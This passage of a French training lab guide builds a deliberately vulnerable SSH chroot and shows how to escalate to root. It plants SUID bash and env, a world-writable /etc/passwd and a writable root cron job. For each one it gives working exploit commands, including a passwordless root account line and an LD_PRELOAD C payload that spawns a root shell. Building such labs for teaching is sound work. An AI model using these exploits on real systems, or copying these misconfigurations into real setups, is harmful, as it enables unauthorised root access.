**📌 5. Ajout de failles de sécurité pour la montée en privilège**

**🚨 5.1. Binaire avec SUID (/bin/bash)**

**Ajout du bit SUID sur bash, permettant à un attaquant d’exécuter un shell root :**

**sudo chmod 4755 /var/www/html/bin/bash**

**📌 Exploitation :**

**/bin/bash -p**

**Cela ouvre un shell root.**

**🚨 5.2. Permissions trop permissives sur /etc/passwd**

**Si jailed peut modifier /etc/passwd, il peut créer un compte root sans mot de passe.**

**sudo touch /var/www/html/etc/passwd**

**sudo chmod 666 /var/www/html/etc/passwd**

**📌 Exploitation :**

**echo 'hacker::0:0:hacker:/root:/bin/bash' >> /etc/passwd**

**su hacker**

**L’utilisateur hacker a maintenant un accès root sans mot de passe.**

**🚨 5.3. Cron Job modifiable**

**On crée une tâche cron écrivable qui exécute un script toutes les minutes.**

**sudo mkdir -p /var/www/html/etc/cron.d/**

**echo "\* \* \* \* \* root /var/www/html/tmp/malicious.sh" | sudo tee /var/www/html/etc/cron.d/vuln\_cron**

**sudo chmod 777 /var/www/html/etc/cron.d/vuln\_cron**

**📌 Exploitation : L’utilisateur jailed peut modifier le script /var/www/html/tmp/malicious.sh :**

**echo '#!/bin/bash' > /var/www/html/tmp/malicious.sh**

**echo 'cp /bin/bash /var/www/html/tmp/rootbash && chmod 4755 /var/www/html/tmp/rootbash' >> /var/www/html/tmp/malicious.sh**

**chmod +x /var/www/html/tmp/malicious.sh**

**Après 1 minute, un binaire rootbash avec SUID root apparaît :**

**/var/www/html/tmp/rootbash -p**

**🚨 5.4. LD\_PRELOAD avec env**

**On rend env SUID root, permettant une injection de bibliothèque dynamique.**

**sudo cp /usr/bin/env /var/www/html/bin/**

**sudo chmod 4755 /var/www/html/bin/env**

**📌 Exploitation : Crée un fichier exploit.c :**

**#include <stdio.h>**

**#include <stdlib.h>**

**void \_init() {**

**setgid(0);**

**setuid(0);**

**system("/bin/bash");**

**}**

**Compile et exécute :**

**gcc -fPIC -shared -o /var/www/html/tmp/exploit.so exploit.c -nostartfiles**

**env LD\_PRELOAD=/var/www/html/tmp/exploit.so /bin/ls**

**Cela ouvre un shell root.**

**📌 6. Vérification et test du chroot vulnérable**

**1️⃣ Vérifier que SSH fonctionne avec chroot**

**ssh jailed@192.168.92.147**

**2️⃣ Tester l’élévation de privilège**

**Test SUID :**

**/bin/bash -p**

**Test modification /etc/passwd :**

**echo 'hacker::0:0:hacker:/root:/bin/bash' >> /etc/passwd**

**su hacker**

**Test cron :**

**echo 'cp /bin/bash /var/www/html/tmp/rootbash && chmod 4755 /var/www/html/tmp/rootbash' > /var/www/html/tmp/malicious.sh**

**➜ Attendre 1 minute et exécuter :**

**/var/www/html/tmp/rootbash -p**

**📌 7. Nettoyage après le TP (optionnel)**

**Si tu veux réinitialiser l’environnement, exécute :**

**sudo userdel -r jailed**

**sudo groupdel sshchroot**

**sudo rm -rf /var/www/html**